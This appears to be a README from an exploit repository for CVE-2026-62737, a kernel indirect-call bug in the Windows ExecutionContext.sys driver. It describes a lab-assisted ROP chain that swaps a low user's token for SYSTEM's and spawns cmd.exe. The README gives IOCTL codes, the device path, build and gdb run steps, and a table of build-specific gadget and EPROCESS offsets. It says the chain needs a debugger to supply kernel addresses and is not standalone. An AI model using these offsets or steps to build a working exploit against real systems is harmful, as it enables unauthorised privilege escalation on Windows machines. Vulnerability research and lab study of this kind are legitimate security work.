## https://sploitus.com/exploit?id=351C11FC-DB1A-58B4-9632-261B4D1F39D4
# CVE-2026-62737: from crash to lab-assisted SYSTEM
A follow-up to the [original CVE-2026-62737 writeup](https://xz.aliyun.com/news/92658)
(`ExecutionContext.sys` arbitrary kernel indirect call). It turns the crash
PoC into a working token-swap chain that spawns `cmd.exe` as SYSTEM, but only
in a lab where a debugger supplies addresses and writes the ROP chain into
kernel memory. This is **not a standalone exploit**.
## What it does
1. Opens the `ExecutionContext` device through the KLoader proxy as a low user.
2. Initializes an ExecutionContext (`0x22EC40`) and queues a task (`0x22AC54`)
whose `Callback` is a kernel ROP pivot.
3. A gdb script (`patch_rop.py`) writes a token-swap ROP chain into
`ExecutionContext .data` and captures the pivot-time RSP/RBP via a
hardware breakpoint.
4. A short-lived watcher thread wakes the kernel worker (`0x226C5C` exit
callback), the chain swaps our token for SYSTEM's, restores the kernel
stack, and returns into the driver dispatcher so the worker survives.
## Files
| File | Purpose |
| --- | --- |
| `exploit.c` | Lab exploit: init + queue + wait for gdb patch + token check + spawn cmd. |
| `patch_rop.py` | gdb script: locates our EPROCESS, writes the ROP chain, arms the pivot breakpoint. |
| `trace_rop.py` | Same setup, but single-steps the chain for debugging. |
| `refresh_bases.sh` | Updates per-boot nt/ec bases in the gdb scripts from `modlist.exe` output. |
| `modlist.c` | Prints the per-boot ntoskrnl / ExecutionContext base (lab KASLR oracle). |
| `ga.py` | Runs commands inside the lab VM via the QEMU guest agent. |
## Requirements
- Windows 11 25H2 with kernel **10.0.26100.8875** (gadget RVAs are build-specific).
- A VM with a QEMU gdb stub (`gdbserver tcp::1234`), a guest agent, and a
host/guest shared folder mounted as `Z:`.
- A low-privilege account that can open `\\.\kloader\{9C0B898D-6275-48EC-81B4-E5EDBE44B535}`.
- MinGW-w64 (`x86_64-w64-mingw32-gcc`) and `gdb` on the host.
## Build
```sh
x86_64-w64-mingw32-gcc -O2 -municode -o exploit.exe exploit.c
x86_64-w64-mingw32-gcc -O2 -o modlist.exe modlist.c
```
## Run (each boot)
1. Get fresh bases: `./ga.py 'Z:\modlist.exe'` (after copying `modlist.exe`
to the shared folder)
2. Update the scripts: `./refresh_bases.sh`
3. Copy `exploit.exe` and `modlist.exe` to the shared folder.
4. Start the exploit as the low user: `exploit.exe `.
It writes its PID to `Z:\lab_pid.txt` and waits for `Z:\go_lab.txt`.
5. Attach gdb, pointing `LAB_PID_FILE` at the host copy of `lab_pid.txt`:
```sh
LAB_PID_FILE=/path/to/shared/lab_pid.txt \
gdb -q -ex 'target remote :1234' -ex 'set pagination off' -x patch_rop.py
```
Type `continue` at the gdb prompt.
6. Release the exploit: `touch /path/to/shared/go_lab.txt`
7. After ~15 s, `Z:\lab_exploit_out.txt` should show `system=1` and
`Z:\lab_shell_out.txt` should contain `nt authority\system`.
## Offsets (kernel 26100.8875)
| Item | Value |
| --- | --- |
| ROP pivot (full) | `nt + 0x6A6A40` |
| `pop rcx; ret` | `nt + 0x28843A` |
| `pop rdx; ret` | `nt + 0x2FECD2` |
| `mov [rcx], rdx; ret` | `nt + 0x3BC6A7` |
| `ret` | `nt + 0x20043B` |
| `pop rsp; ret` | `nt + 0x2006C4` |
| `PsInitialSystemProcess` | `nt + 0xFC6AF0` |
| `_EPROCESS.Token` | `0x248` |
| `_EPROCESS.UniqueProcessId` | `0x1D0` |
| `_EPROCESS.ActiveProcessLinks` | `0x1D8` |
## Why this isn't a standalone exploit
- The callback runs in a kernel system thread with **system CR3**; user-memory
ROP is impossible and no MDL kernel alias exists.
- A real exploit needs a kernel-address leak (nt/ec) and a way to get the
chain into kernel memory. Both are missing on this build.
- The pivot-time RSP is captured by a gdb breakpoint; a real exploit would
need a stack-resident chain or an RSP-saving gadget.
## License
MIT, see [LICENSE](LICENSE).